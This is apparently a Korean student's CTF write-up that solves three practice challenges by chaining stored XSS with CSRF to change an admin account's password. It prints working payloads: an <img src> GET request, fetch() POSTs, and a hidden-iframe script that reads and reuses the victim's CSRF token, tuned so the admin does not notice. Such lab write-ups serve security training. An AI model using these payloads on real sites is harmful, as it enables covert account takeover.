Normaltic 모의해킹 취업반 스터디 8기 - 12주차 과제(CTF Write-up)

containerxox·2025년 6월 26일
post-thumbnail

☑️ GET Admin 1

계정 생성하기 → 로그인하기

‣ ID: test0
‣ Password: test0

→ 동시에 test0_admin계정도 생성됨

마이페이지에서 비밀번호 변경 요청 프로세스 파악하기

▷ 마이페이지 이동 (/csrf_1/mypage.php?user=test0)


▷ 비밀번호 변경 요청
  ↳ 변경할 Password: change0

  • Update 버튼 클릭
    POST방식으로/csrf_1/mypage_update.php
    pw파라미터 전송
    → ( 인증정보를 전송하는 파라미터 없음 )
    → '회원 정보 수정에 성공하셨습니다!'라는 알림창이 뜸
    → 비밀번호 변경 완료!

  

GET 방식으로 Request해도 비밀번호 변경이 가능한지 확인하기

➡️ GET방식으로 변경해도 비밀번호 변경이 가능!

💡 해당 URL을 관리자가 클릭하도록 유도하면, 관리자 계정의 비밀번호를 내가 원하는 값으로 변경할 수 있다 !
http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=change0



🕵️‍♀️ ! 집중 !
관리자가 해당 링크를 클릭하게 만들기 위해서는 XSS 취약점을 활용하는 것이 효과적. 특히 Stored XSS를 이용해 악성 스크립트를 저장해 두면, 관리자가 해당 페이지를 열었을 때 스크립트가 자동으로 실행된다.
이제 XSS 취약점이 존재하는 위치를 찾아보자.

게시판으로 이동하여 게시글의 제목과 내용 입력란에 Stored XSS가 존재하는지 확인하기

‣ create_title: title <'"><script>alert(1);</script>
‣ create_body: content<'"><script>alert(1);</script>

‣ 해당 게시글 클릭
↳ 제목, 내용 입력란 모두 HTML Entity 처리가 안되어 있어서 스크립트가 실행됨
↳ 따라서, Stored XSS 취약점 존재.



🕵️‍♀️ ! 집중 !
XSS 취약점이 존재하는 지점을 확인했으므로, 이제 해당 위치에 아래의 비밀번호 변경 요청 URL(http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=change0)을 삽입하면 된다.
관리자가 해당 게시글을 열면, 악성 요청이 자동으로 실행되어 비밀번호가 공격자가 의도한 값으로 변경된다.

게시글의 내용입력란에 <img src=..> 삽입하기

‣ create_title : 관리자님!
‣ create_body :

안녕하세요 :)
<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=change0">


‣ 게시글 클릭
/csrf_1/notice_read.php?id=522&view=1에 요청을 보냄

→ img 태그의 src 속성을 통해 해당 URL(/csrf_1/mypage_update.php?id=&info=&pw=change0)을 실행하게 되면서 test0 계정의 비밀번호가 change0으로 변경됨.


💁‍♀️ 궁금한 점
위의 캡처사진을 보면, 비밀번호 변경 요청에 대한 응답으로 '회원 정보 수정이 성공하셨습니다!'라는 알림창이 떠야 하지만, 게시글을 클릭한 후에도 아무런 알림창이 나타나지 않는다. 그 이유는?

🅰️)
<img> 태그는 자바스크립트를 실행할 수 없는 단순한 리소스 요청용 태그이기 때문.
즉, <img src="...">는 서버에 요청을 보내긴 하지만, 서버로부터 받은 응답에 alert() 같은 스크립트가 포함되어 있더라도 브라우저는 그것을 이미지 데이터로 처리하려고 시도
결과적으로, 해당 응답은 이미지가 아니기 때문에 로딩에 실패하고, 스크립트도 실행되지 않으며 아무 일도 일어나지 않는 것처럼 보이게 됩니다. (실제로는 비밀번호가 변경되는 요청이 성공적으로 처리된 상태)

✔️ Tip
아래처럼 이미지가 깨지는 아이콘이 보기 싫으면
<img>태그 안에 style="display:none" 속성을 추가하면 됨.

➡️ <img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=change0" style="display:none"> 작성
➡️ 이미지 깨지는 아이콘 사라짐.

게시글 URL 복사
http://ctf.segfaulthub.com:7575/csrf_1/notice_read.php?id=523&view=1

관리자인 test0_admin 계정의 비밀번호 변경하기

관리자인 test0_admin 계정이 해당 게시글 링크를 클릭하면, <img src=...>이 실행되어 비밀번호가 공격자가 의도한 값(change0)으로 변경됨

관리자인 test0_admin 계정의 비밀번호 변경되었는지 확인하기

test0_admin계정으로 로그인 시도

‣ ID: test0_admin
‣ Password: change0

test0_admin계정으로 로그인 성공 → Flag 획득




☑️ GET Admin 2

계정 생성하기 → 로그인하기

‣ ID: test01
‣ Password: test01
→ 동시에 test01_admin 계정도 생성됨

마이페이지에서 비밀번호 변경 요청 프로세스 파악하기

▷ 마이페이지 이동 (/csrf_2/mypage.php?user=test01)

▷ 비밀번호 변경 요청
 ↳ 변경할 Password: change01

  • Update 버튼 클릭
    POST방식으로 /csrf_2/mypage_update.php
    pw파라미터 전송
    '회원 정보 수정에 성공하셨습니다!'라는 알림창이 뜸
    index.php?session=true 페이지로 이동됨.

    GET방식으로 /csrf_2/index.php?session=true에 요청을 하면 메인페이지인 index.php로 이동하라는 응답이 반환됨.

    → 메인페이지 index.php

    ▷ 바뀐 비밀번호로 로그인 시도
    ‣ ID: test01
    ‣ 변경된 Password: change01
    ➡️ 로그인 성공
    ➡️ 비밀번호 변경되었음을 확인 !

GET 방식으로 Request해도 비밀번호 변경이 가능한지 확인하기

➡️ GET 방식으로 변경하면 비밀번호 변경 불가능!
에러가 발생했습니다라는 알림창이 뜸.
mypage.php로 이동됨.



🕵️‍♀️ ! 집중 !
GET 방식은 사용할 수 없기 때문에, POST 방식으로 요청을 보내야 한다.
이를 위해 POST 요청을 전송하는 코드를 Stored XSS가 발생하는 지점에 삽입하면,
관리자가 해당 게시글을 클릭하는 순간 비밀번호가 자동으로 변경되도록 구성할 수 있다.
이제 XSS 취약점이 존재하는 위치를 찾아보자.

게시판에서 게시글의 제목과 내용 입력란에 Stored XSS가 존재하는지 확인하기
‣ create_title: title <'"><script>alert(1);</script>
‣ create_body: content<'"><script>alert(1);</script>


‣ 해당 게시글 클릭
↳ 제목, 내용 입력란 모두 HTML Entity 처리가 안되어 있어서 스크립트가 실행됨
↳ 따라서, Stored XSS 취약점 존재.



🕵️‍♀️ ! 집중 !
XSS 취약점이 존재하는 지점을 확인했으므로, 이제 해당 위치에 아래의 비밀번호 변경 요청 스크립트를 삽입하면 된다.
관리자가 해당 게시글을 열면, 악성 요청이 자동으로 실행되어 비밀번호가 공격자가 의도한 값으로 변경된다.

게시글의 내용입력란에 비밀번호 변경 스크립트 삽입하기

🔴 ( TRY 01 )
‣ create_title : 관리자님!
‣ create_body :

➡️ target="stealthFrame"으로 설정되어 있으므로,
폼이 제출된 후의 Response 결과는 해당 iframe에 로드된다.
➡️ 응답 결과가 index.php로 리디렉션되는 것이기 때문에,
아래 사진처럼 iframe 내부에 index.php 페이지가 표시된다.

⚠️ 게시글을 클릭하면, iframe 내부에 index.php페이지가 뜸!
↳ 이 경우, 관리자가 공격을 눈치챌 수 있다.
↳ 스크립트를 수정해야 함!
↳ iframe 태그 안에 width, height, border, style="display:none"을 추가하여 iframe이 안보이게 하자!



🔴 ( TRY 02 )
‣ create_title : 관리자님!
‣ create_body :
⚠️ 게시글을 클릭하면, 아래 사진과 같은 알림창이 뜸!
↳ 이 경우, 관리자가 공격을 눈치챌 수 있다.
↳ 스크립트를 수정해야 함!




🔴 ( TRY 03 ) - fetch() 이용
‣ create_title : 관리자님!
‣ create_body :

안녕하세요 :)
<script>
fetch("http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "pw=change001"
});
</script>


👉 코드 설명

👉 fetch() 특징


➡️ 도메인 서로 동일함.
➡️ 게시글을 클릭해도 이전처럼 '회원 정보 수정에 성공하셨습니다!'라는 알림창은 더 이상 뜨지 않는다.
➡️ fetch()서버의 응답을 단순한 문자열 데이터로 처리할 뿐, 스크립트를 실행하지 않기 때문.
➡️ 결과적으로 alert 없이 조용히 비밀번호가 변경되는 효과를 얻을 수 있다.

게시글 URL 복사

관리자인 test01admin 계정의 비밀번호 변경하기

관리자인 test01_admin 계정으로 해당 게시글 링크를 클릭하면,
스크립트가 실행되어 비밀번호가 공격자가 의도한 값(change001)으로 변경됨

관리자인 test01_admin 계정의 비밀번호 변경되었는지 확인하기

▷ test01_admin계정으로 로그인 시도
‣ ID: test01_admin
‣ Password: change001

▷ test01_admin계정으로 로그인 성공 → Flag 획득!




☑️ GET Admin 3

계정 생성하기 → 로그인하기

‣ ID: test03
‣ Password: test03

→ 동시에 test03_admin계정도 생성됨

마이페이지에서 비밀번호 변경 요청 프로세스 파악하기

▷ 마이페이지로 이동(http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03)

⭐ 사용자가 마이페이지에 접속하면, 서버는 CSRF 공격을 방지하기 위해 폼 내부에 csrf_token을 숨겨서 포함시키는 것을 볼 수 있다.


👉 CSRF 토큰 특징


▷ 비밀번호 변경 요청
  ↳ 변경할 Password: change03

  • Update 버튼 클릭
    POST 방식으로/csrf_3/mypage_update.php
    pw파라미터인증정보를 전송하는 csrf_token파라미터를 전송
    회원 정보 수정에 성공하셨습니다!라는 알림창이 뜸
    index.php로 이동
    → 비밀번호 변경 완료!

GET 방식으로 Request해도 비밀번호 변경이 가능한지 확인하기

➡️ GET방식으로 변경하면, 비밀번호 변경 불가능!
 ↳ 에러가 발생했습니다라는 알림창이 뜸.
 ↳ mypage.php로 이동됨.




🕵️‍♀️ ! 집중 !
GET 방식은 사용할 수 없기 때문에, POST 방식으로 요청을 보내야 한다.
이를 위해 POST 요청을 전송하는 코드를 Stored XSS가 발생하는 지점에 삽입하면,
관리자가 해당 게시글을 클릭하는 순간 비밀번호가 자동으로 변경되도록 구성할 수 있다.

또한, 서버는 CSRF 토큰을 파라미터로 함께 전송받아야 요청을 처리하므로, 먼저 iframe을 통해 마이페이지에 접근해 CSRF 토큰 값을 추출한 뒤, 추출한 토큰과 변경할 비밀번호를 폼을 통해 서버로 전송해야 한다.

일단, XSS 취약점이 존재하는 위치를 찾아보자.

  

게시판에서 게시글의 제목과 내용 입력란에 Stored XSS가 존재하는지 확인하기
‣ create_title: title <'"><script>alert(1);</script>
‣ create_body: content<'"><script>alert(1);</script>

  
‣ 해당 게시글 클릭
↳ 제목, 내용 입력란 모두 HTML Entity 처리가 안되어 있어서 스크립트가 실행됨
↳ 따라서, Stored XSS 취약점 존재.



🕵️‍♀️ ! 집중 !
XSS 취약점이 존재하는 지점을 확인했으므로, 이제 해당 위치에 아래의 비밀번호 변경 요청 스크립트를 삽입하면 된다.
관리자가 해당 게시글을 열면, 악성 요청이 자동으로 실행되어 비밀번호가 공격자가 의도한 값으로 변경된다.

게시글의 내용입력란에 비밀번호 변경 스크립트 삽입하기

🔴 ( TRY 01 )
test03 계정으로 마이페이지 접속
↳ 마이페이지를 iframe내부에 로드
iframe에 로드된 마이페이지의 HTML 소스에서 CSRF 토큰 값을 추출

‣ create_title : 관리자님!
‣ create_body :

▷ 마이페이지(/csrf_3/mypage.php?user=test03)의 HTML소스에서 CSRF Token 값 위치 파악
iframe태그를 이용해 마이페이지를 내부에 로드

<iframe src ="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03" id="mypageFrame" width="600" height="400"></iframe>`


▷ JS를 이용하여 iframe 내부에 로드된 마이페이지 HTML 소스를 가져와 CSRF Token 값 추출 → 추출한 토큰 값을 알림창에 띄우기
↳ iframe의 src가 현재 페이지(http://ctf.segfaulthub.com:7575/csrf_3/notice_write_process.php)와 다른 orgin이면 contentDocument 접근 자체가 차단됨.
↳ 하지만, 이 경우는 iframe의 srchttp://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03로, 서로 같은 orgin이다!
↳ 따라서, 같은 orgin이니까 접근 가능!

<script>
var mypageTag = document.getElementById("mypageFrame");
var mypageDOM = mypageTag.contentDocument;
var csrfToken = mypageDOM.getElementsByClassName("hori")[2].getElementsByTagName("input")[1].value
alert(csrfToken);
</script>

  • create_body에 아래와 같이 코드를 작성해 전송함
    결과: CSRF 토큰이 알림창에 출력되지 않음
    원인 추정: iframe 내부의 마이페이지가 완전히 로드되기 전에 CSRF 토큰 값을 추출하려 했기 때문에, DOM 요소에 접근하지 못해 추출에 실패한 것으로 보임




    🔴 ( TRY 02 )
    ➡️iframe.onload 이벤트를 사용해서 iframe 내부의 마이페이지가 완전히 로드된 후 접근하도록 만들자!

    ‣ create_title : 관리자님!
    ‣ create_body :


    ▷ 게시글 클릭
    iframe 내부에 마이페이지가 로드되고
    ↳ CSRF 토큰 값이 알림창에 표시된다.




    🔴 ( TRY 03 )


    < fetch()사용하지 않은 version >
    ➡️ 비밀번호 변경 요청의 응답결과의 js코드가 실행됨.
    ➡️ alert도 실행되고 index.php로 리다이렉션됨
    ‣ create_title : 관리자님!
    ‣ create_body
안녕하세요 :)
<!-- -->
<!-- CSRF 토큰을 가져올 iframe -->
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03"
        id="mypageFrame" width="0" height="0" style="display:none"></iframe>
<!-- -->
<!-- 응답을 숨길 iframe -->
<iframe name="stealthForm" width="0" height="0" style="display:none"></iframe>
<!-- -->
<!-- 공격용 form -->
<form method="POST"
      action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php"
      id="myForm" target="stealthForm">
  <input type="hidden" name="pw" value="admin_change03"/>
  <input type="hidden" name="csrf_token" id="csrfField"/>
</form>
<!-- -->
<!-- javascript -->
<script>
<!-- iframe이 완전히 로드되면 실행되는 코드 -->
document.getElementById("mypageFrame").onload = function () {
  var doc = this.contentDocument;
  var csrfToken = doc.getElementsByClassName("hori")[2]
                     .getElementsByTagName("input")[1].value;
<!-- -->                  
<!-- 토큰을 form에 반영 -->
  document.getElementById("csrfField").value = csrfToken;
<!-- -->  
<!-- 이제 토큰이 준비되었으므로 폼 제출 -->  
  document.getElementById("myForm").submit();
};
</script>


👉 코드 작동 순서
1. mypageFrame에 (관리자)마이페이지를 숨겨 로드
2. 그 내부의 csrf_token값을 추출
3. <form>태그의 input에 토큰 값을 id = csrfField로 설정
4. 변경할 비번(admin_change03)과 추출한 csrf 토큰값을 csrf_3/mypage_update.php로 전송
4. 공격용 요청의 응답이 숨겨진 iframe(stealthForm)에 표현됨
5. 응답에 있는 alert()이나 redirect가 실행됨.


< fetch()사용한 version >
➡️ 비밀번호 변경 요청의 응답결과의 js코드를 단순 텍스트로 인식함
➡️ alert도 실행되지 않고 index.php로 리다이렉션되지 않음
‣ create_title : 관리자님!
‣ create_body :

안녕하세요 :)
<!-- CSRF 토큰을 가져올 iframe -->  
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03"
        id="mypageFrame" width="0" height="0" style="display:none"></iframe>
<!-- javascript -->  
<script>
document.getElementById("mypageFrame").onload = function () {
  var iframeDoc = this.contentDocument;
  //
  // iframe 안에서 CSRF 토큰 추출
  var csrfToken = iframeDoc.getElementsByClassName("hori")[2]
                           .getElementsByTagName("input")[1].value;
  //  
  // fetch로 POST 요청 보내기 (XSS에서 조용히 수행)
  fetch("http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php", {
    method: "POST",
    headers: {
      "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "pw=admin_change03&csrf_token=" + encodeURIComponent(csrfToken)
  });
};
</script>


➡️ 응답 결과의 alert 실행 X
➡️ 관리자가 눈치채지 못하게 비밀번호 변경할 수 있다.

관리자 계정의 비밀번호를 바꿔보자.

‣ create_title : 관리자님!
‣ create_body :

안녕하세요 :)
<!-- CSRF 토큰을 가져올 iframe -->  
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03_admin"
        id="mypageFrame" width="0" height="0" style="display:none"></iframe>
<!-- javascript -->  
<script>
document.getElementById("mypageFrame").onload = function () {
  var iframeDoc = this.contentDocument;
  //
  // iframe 안에서 CSRF 토큰 추출
  var csrfToken = iframeDoc.getElementsByClassName("hori")[2]
                           .getElementsByTagName("input")[1].value;
  //  
  // fetch로 POST 요청 보내기 (XSS에서 조용히 수행)
  fetch("http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php", {
    method: "POST",
    headers: {
      "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "pw=admin_change03&csrf_token=" + encodeURIComponent(csrfToken)
  });
};
</script>

⚠️ test03_admin계정으로 마이페이지를 접속할 것이기때문에,
?user=test03_admin으로 수정해줘야 한다!

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=test03_admin"
        id="mypageFrame" width="0" height="0" style="display:none"></iframe>



게시글 클릭 → Copy URL
http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=202&view=1


관리자인 test03_admin 계정의 비밀번호 변경하기

관리자인 test03_admin 계정으로 해당 게시글 링크를 클릭하면,
스크립트가 실행되어 비밀번호가 공격자가 의도한 값(admin_change03)으로 변경됨


관리자인 test03_admin 계정의 비밀번호 변경되었는지 확인하기

test03_admin 계정으로 로그인 시도

‣ ID: test03_admin
‣ 변경된 Password: admin_change03

test03_admin계정으로 로그인 성공 → Flag 획득!

0개의 댓글